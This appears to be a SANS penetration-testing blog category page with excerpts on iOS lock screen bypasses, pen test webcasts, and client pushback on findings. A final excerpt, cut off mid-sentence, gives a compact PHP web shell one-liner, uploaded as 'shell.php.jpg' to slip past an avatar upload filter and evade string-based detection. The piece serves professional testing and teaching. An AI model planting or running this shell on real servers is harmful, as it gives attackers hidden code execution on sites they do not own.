Blog: SANS Penetration Testing: Category - Methodology

Blog: SANS Penetration Testing:

Bypassing iOS Lock Screens: A Comprehensive Arsenal of Vulns

[Editor's Note: With last week's release of iOS 8, we enter a new era of security fixes and issues for Apple's flagship mobile operating system. But, even this latest version faces an issue that comes up regularly with iOS and other mobile operating systems: Lock Screen Bypass. In fact, there are dozens of different ways to bypass the Lock Screen on a device, each applicable to different versions and subversions of iOS. Thankfully, Raul Siles has inventoried a whole bunch of them in this article, providing a useful reference for penetration testers who need to show the risks associated with a given iOS feature or version number. Raul also offers tips for hardening iPhones and iPads against these kinds of attacks. Nifty stuff! --Ed.]

By Raul Siles

The iOS mobile platform has been subject to numerous lock screen bypass vulnerabilities across multiple versions. Although Apple strives to fix these vulnerabilities in various updates to iOS (

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How Not to Fail at a Pen Test: Slides and Stream

Earlier this week, John Strand presented a fantastic webcast that was chock full of pen test tips. This post contains the slides as well as a link to the streaming slides and webcast audio.

Here's the description of the talk:

In this presentation, John and Ed will cover some key components that many penetration tests lack, including why it is important to get caught, why it is important to learn from real attackers, and how to gain access to organizations without sending a single exploit.

One of my favorite slides in the presentation is John's concluding Code of Ethics. Click on the image below to download all of John's slides.

Demanding MOAR From Your Vulnerability Assessments and Pen Tests - Slides and Link

A few weeks ago, I did a presentation on Demanding MOAR from Your Vulnerability Assessments & Pen Tests. I'd like to share the slides with you now. The presentation is full of tips, some easy and others more complex, for providing extra value in vuln assessment and pen test work.

Here's the official description of the talk:

You pay good money for your vulnerability assessments and penetration tests, right? But are you getting real business value from these projects? Do you ever get the sense that your assessors and pen testers are just phoning it in, checking off boxes, and not really properly helping you improve your security stance? In this lively presentation, Ed Skoudis will provide hugely valuable tips for getting the maximum business value out of your vulnerability assessments and pen tests. With specific recommendations for people procuring such projects as well as for testers themselves, this webcast is chock full of insights for effective scoping,

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Dealing with the Many Stages of Pen Test Result Grief - Part 2

By Ed Skoudis

In this series of articles, we're looking at some of the grief that penetration testers often encounter when they deliver their results and recommendations. Our premise? You, a great pen tester, work your tail off to conduct a wonderful, high-value, technically awesome pen test. The result? Target system personnel vomit all over your findings, push back on your recommendation, and just plain don't see the value of what you've done. The series, which began with article one here, focuses on practical tips you can use to avoid such situations up front, or, if they do occur later on, methods for defusing the situation and demonstrating the real value you are providing.

Article 1 in the series

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Sneaky Stealthy SU in (Web) Shells

[In this article, the inimitable Tim Medin has some fun with PHP web shells, and merges together some clever ideas for interacting with them in a rather stealthier fashion using some Python kung fu! --Ed.]

By: Tim Medin

Here is the scenario: you have a server that allows you to upload an avatar. The site makes sure that the file ends with .jpg, .png, or .gif. Being the sneaky bugger you are (as a professional penetration tester operating within your scope and rules of engagement, naturally), you upload a file named shell.php.jpg, containing this delightful gem:

<?php @extract($_REQUEST); @die ($ctime($atime)); ?>

This file passes the extention check, but since it contains .php in the filename, many systems will execute it as a script. Also, this shell doesn't include the telltale "/bin/sh", "shell_exec", or "system" strings and it looks like some sort of ...